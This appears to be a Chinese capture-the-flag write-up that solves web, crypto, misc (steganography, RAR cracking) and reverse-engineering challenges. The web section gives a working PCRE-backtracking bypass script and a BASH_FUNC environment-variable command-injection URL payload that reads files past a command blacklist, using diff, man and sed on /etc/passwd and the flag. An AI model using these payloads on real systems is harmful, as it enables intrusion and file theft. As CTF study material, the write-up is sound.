被骂挺惨,第一次遇到办了两天被骂的停办了的,不过确实办的不够好,打了两天我都没见到题目环境是啥,都是捡发的附件做。
签到
签到题
flag{welcome_to_i_soon}
WEB
babyweb
可以看出来出题人天天看p神文章👍👍全抄的人家博客上的👍👍
进入目标网页可以看到源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_POST['heizi'];
if (isset($a)){
if(substr($a,0,5) == "aikun" and substr($a,-10,10) == "xiaojijiao"){
if ($a == "aikunxiaojijiao"){
die("nononono");
}
if (preg_match('/aikun.+?xiaojijiao/is',$a)){
die("Hack!!!");
}
system("ls");
}else{
die("what?");
}
}
?>
很明显是绕preg_match,可以想到p神的文章PRCE回溯次数绕过,原理就是preg_match对字符判断是有上限的,它会从前到后一个字符一个字符判断,如果判断了的字符数量大于1000000会直接退出,不会继续判断,因此很明显我们得在aikun与xiaojijiao之间加一百万个字符,这样就绕过去了,脚本:
import requests
data={"heizi":"aikun"+"a"*1100000+"xiaojijiao"}
res = requests.post("http://182.148.156.200:9134/", data=data)
print(res.text)
绕过去之后会执行ls,我们可以看到下一关的路径:e4eeee4vaa1ll1we44ebf111a4g.php
<?php
error_reporting(0);
highlight_file(__FILE__);
foreach ($_REQUEST['env'] as $key => $value) {
if (blacklist($value)) {
putenv("{$key}={$value}");
}else{
echo "Hack!!!";
}
}
system('echo doit');
function blacklist($a){
if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'|\"|\\\\/is', $a) === 0){
return true;
}
else{
return false;
}
}
?>
很明显,这就是p神最经典的那篇环境变量注入,我大一还写过分析。简单来说就是在环境变量可控的情况下,我们可以通过url?env[BASH_FUNC_echo()]=() { 命令; }的方式在centos下执行命令,具体原理可以去p牛的博客里看,此处不再赘述。
所以下一个难点就是找到可以读取文件的命令,这里已经ban的差不多了,不过还是没ban完,并没有ban diff这个命令,所以我们还是可以用diff flag /etc/passwd或者man /f*读取文件,最后payload:
http://182.148.156.200:9134/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20diff%20/f*%20/etc/passwd;%20}
flag{hap1y~You~go@ooo1t~i1iIt}
除了这种方法外还能用的读取文件命令还有man,比如man /f*,还有sed命令也没被过滤,比如sed p /f*
CRYPTO
出题人麻了,随便敲的
键盘密码,键盘上包围的是明文
qwsxz a
3wsdr4 e
wazxde s
ygbnju h
8ujko9 i
5rfgy6 t
flag{aeshit}
MISC
摇滚少年的日记
一个套娃题。
解压附件得到一个1.txt,一个2.png,一个3.rar。
3.rar直接打打不开,用010editor看看,可以发现这个压缩包前面的字节码是PK,这是zip的特征,但我改成zip后缀也没打开,后来又想到那个感叹号zip的字节码里可能没有,只有Rar有,所以突然想到把前面的字节码改成Rar!,这下正常了
3.rar可以正常打开,但是需要密码,想试试爆破但Bandizip或者Arc都打不开它,说格式有误,可能某处做了防爆破?不过rar2john可以正常爆破,就用它了:
rar2john 3.rar
rar2john 3.rar > hash.txt
john hash.txt
得到密码10969我们可以打开那个rar了,里面有一个四点位法——架子鼓0,1节奏型训练.txt,打开一看全是0和1:
对数字敏感点会发现16900其实就是130的平方,所以这东西可能是个二维码
from PIL import Image
MAX = 130
pic = Image.new("RGB",(MAX, MAX))
with open('目标.txt', 'r') as f:
str = f.read()
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
不是我们熟知的二维码,但可以用barcode-reader读出来:
MY_FIRST_STORY_IMMINENCE}
2.png后缀改成rar,解压出来可以得到一个2.txt,一个COEXIST.mp3。
foremost COEXIST.mp3得到一个压缩包,解压出来得到一个3.txt,一个COEXIST.mp3,一个key.ico,key.ico里的内容应该是base64隐写:
import base64
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
file = open("key.ico",encoding='utf-8')
flag=''
tmpbin=''
for line in file.readlines():
line=line.strip('\n')
if(line[-1]=='='):
if(line[-2]=='='):
i=table.index(line[-3])
b=bin(i)[2:]
b=b.zfill(6)
print(line)
print(b)
print(b[-4:]+'\n')
tmpbin+=b[-4:]
else:
i = table.index(line[-2])
b = bin(i)[2:]
b = b.zfill(6)
print(line)
print(b)
print(b[-2:]+'\n')
tmpbin+=b[-2:]
length= len(tmpbin)/8
for i in range(int(length)):
flag+=chr(int(tmpbin[i*8:i*8+8],2))
print(flag)
#ôõ$dõ$UdU!Ð
跑出来的是个奇奇怪怪的东西,我逐个解码:
import base64
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
# file = open("flag.txt",encoding='utf-8')
file = open('key.ico','rb')
flag=''
tmpbin=''
for line in file.readlines():
# line=line.strip('\n')
line = line.decode().strip('\n\r')
c = base64.b64decode(line).encode("utf-8")
print(c)
print(flag)
发现除了中间一段外,其他全是歌词,所以把中间一段单独提取出来做base64隐写:
得到OORFOREVER
key.ico这里还有一段很奇怪的东西:
记事本打开就没有,所以应该是零宽度隐写:
拼起来就是OORFOREVERLOVE
除了这种方法之外还可以用Byxs20开发的一把梭工具弄出来:
不但告诉你中间有零宽度隐写,直接Base64隐写也能解出来OORFOREVER
COEXIST.mp3的波频图里有数据:
TZRL{CEI_JO_IZQF_
前四个字符一看就是flag,尝试出来是维吉尼亚密码:
FLAG{ONE_OK_ROCK_
两个拼在一起:
FLAG{ONE_OK_ROCK_MY_FIRST_STORY_IMMINENCE} 也就是三个乐队的名字MY FIRST STORY的主唱是ONE OK ROCK主唱taka的亲弟弟。
我的评价是这是一道垃圾的套娃题,只知道把其他优秀题目的知识点全部抄过来,套娃层数太多了,放正规点的平台收题是不会收的。
RE
ctfshow原题,我上我都行,flag都没改
a = b'/..v4p$$!>Y59-'
b = b')(*&^%489$!057@#><:2163qwe'
v = 0
for i in a:
v = v*26+b.index(i^7)
print(v)
#2484524302484524302
#flag{2484524302484524302}